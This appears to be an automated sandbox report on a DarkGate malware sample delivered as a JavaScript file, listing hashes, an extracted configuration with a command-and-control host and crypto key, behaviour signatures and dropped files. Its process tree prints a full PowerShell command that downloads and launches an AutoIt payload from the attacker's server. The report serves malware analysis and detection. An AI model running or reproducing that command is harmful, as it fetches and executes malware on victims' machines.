Resubmissions

27-10-2023 17:41

231027-v9hqxsgb3s 10

27-10-2023 17:25

231027-vzpfqahf58 10

27-10-2023 17:25

231027-vy9p9shf56 10

Analysis

  • max time kernel
    422s
  • max time network
    427s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-10-2023 17:41

General

  • Target

    28102023_0125_trumpet.js

  • Size

    134KB

  • MD5

    63fdbf0bf47d957bc9e77b9bbc7cdaf0

  • SHA1

    3f3d8c96f6cf374c22dd6eac5a1c958482bbe829

  • SHA256

    5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500

  • SHA512

    3c5e6568396ccd2fa63b993cab6c925af83b292a1d0f6e0f22c145c65e7723e698efd2613c202177c695e2038a0295855f8d9b7168815630be990430c2e51849

  • SSDEEP

    1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/08:UT9U7hgaX6eerjqlI2IO6Mzqf40Ml/

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://profitcentronline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    KispcMbVooJeJD

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3092
      • C:\temp\AutoIt3.exe
        "C:\temp\AutoIt3.exe" dctseyzi.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31as4wy4.5da.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\dctseyzi.au3

    Filesize

    493KB

    MD5

    ed9069a8f504d2dca660d7ca452df7b5

    SHA1

    27249509d8c7870e61d1828323b00c8f57534866

    SHA256

    fe6440f818ad94374740fa7861a2cb28886f07d3b21cd27f28725fe3dc146f98

    SHA512

    99c0110c6317d82cabdb016613c86413f14494eb019fe9b17788bcb62c3dd3ec0d35db7a2eadee923835a4cabb512b5af0299578a7e1cbd5e4269891df7a8f2f

  • memory/2428-36-0x0000000003F40000-0x000000000426A000-memory.dmp

    Filesize

    3.2MB

  • memory/2428-35-0x0000000003F40000-0x000000000426A000-memory.dmp

    Filesize

    3.2MB

  • memory/2428-34-0x0000000000EA0000-0x00000000012A0000-memory.dmp

    Filesize

    4.0MB

  • memory/3092-16-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-0-0x000001493F860000-0x000001493F882000-memory.dmp

    Filesize

    136KB

  • memory/3092-17-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-15-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-14-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3092-31-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3092-13-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-12-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-11-0x000001493F8C0000-0x000001493F8D0000-memory.dmp

    Filesize

    64KB

  • memory/3092-10-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

    Filesize

    10.8MB